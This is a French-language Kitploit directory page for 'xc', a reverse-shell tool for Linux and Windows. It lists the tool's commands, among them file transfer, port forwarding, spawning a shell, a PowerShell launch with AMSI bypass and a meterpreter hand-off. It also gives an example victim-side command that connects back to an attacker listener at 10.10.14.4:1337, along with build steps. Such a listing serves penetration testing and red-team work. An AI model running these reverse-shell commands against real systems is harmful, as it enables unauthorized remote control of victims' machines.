Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
xc — Une petite reverse shell pour Linux et Windows | Kitploit
Outils/GitHubGitHub/xct/xc
Génération de PayloadsPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubxct/xc

xc

Une petite reverse shell pour Linux et Windows

Voir le dépôt
6471157il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

XC

Shell inversé similaire à Netcat pour Linux et Windows.

Fonctionnalités

Windows

root@kitploit:~
Usage:
└ Commandes partagées :  !exit
  !upload <src> <dst>
   * télécharge un fichier vers la cible
  !download <src> <dst>
   * télécharge un fichier depuis la cible
  !lfwd <localport> <remoteaddr> <remoteport>
   * transfert de port local (comme ssh -L)
  !rfwd <remoteport> <localaddr> <localport>
   * transfert de port distant (comme ssh -R)
  !lsfwd
   * liste les transferts actifs
  !rmfwd <index>
   * supprime un transfert par index
  !plugins
   * liste les plugins disponibles
  !plugin <plugin>
   * exécute un plugin
  !spawn <port>
   * génère un autre client sur le port spécifié
  !shell
   * exécute /bin/sh
  !runas <username> <password> <domain>
   * redémarre xc avec l'utilisateur spécifié
  !met <port>
   * se connecte à un listener x64/meterpreter/reverse_tcp
└ Commandes spécifiques à l'OS :
  !powershell
    * démarre powershell avec contournement AMSI
  !rc <port>
    * se connecte à un shell bind local et redémarre ce client via celui-ci
  !runasps <username> <password> <domain>
    * redémarre xc avec l'utilisateur spécifié en utilisant powershell
  !vulns
    * vérifie les vulnérabilités courantes

Linux

root@kitploit:~
Usage:
└ Commandes partagées :  !exit
  !upload <src> <dst>
   * télécharge un fichier vers la cible
  !download <src> <dst>
   * télécharge un fichier depuis la cible
  !lfwd <localport> <remoteaddr> <remoteport>
   * transfert de port local (comme ssh -L)
  !rfwd <remoteport> <localaddr> <localport>
   * transfert de port distant (comme ssh -R)
  !lsfwd
   * liste les transferts actifs
  !rmfwd <index>
   * supprime un transfert par index
  !plugins
   * liste les plugins disponibles
  !plugin <plugin>
   * exécute un plugin
  !spawn <port>
   * génère un autre client sur le port spécifié
  !shell
   * exécute /bin/sh
  !runas <username> <password> <domain>
   * redémarre xc avec l'utilisateur spécifié
  !met <port>
   * se connecte à un listener x64/meterpreter/reverse_tcp
└ Commandes spécifiques à l'OS :
 !ssh <port>
   * démarre sshd avec les clés configurées sur le port spécifié

Exemples

  • Attaquant Linux : rlwrap xc -l -p 1337 (Serveur)
  • Victime Windows : xc.exe 10.10.14.4 1337 (Client)
  • Sans argument : xc_10.10.14.4_1337.exe (Client)

Configuration

Assurez-vous d'exécuter golang version 1.15 ou supérieure, les versions plus anciennes ne compileront pas. Je l'ai testé sur ubuntu : go version go1.16.2 linux/amd64 et kali go version go1.15.9 linux/amd64

root@kitploit:~
git clone --recurse-submodules https://github.com/xct/xc.git

GO111MODULE=off go get golang.org/x/sys/...
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
GO111MODULE=off go get github.com/libp2p/go-reuseport
sudo apt-get install rlwrap upx

Linux :

root@kitploit:~
python3 build.py

Crédits

  • Inclus pour les clients Windows : https://github.com/itm4n/PrivescCheck
  • Inclus pour les clients Windows : https://github.com/PowerShell/Win32-OpenSSH
Télécharger l’outil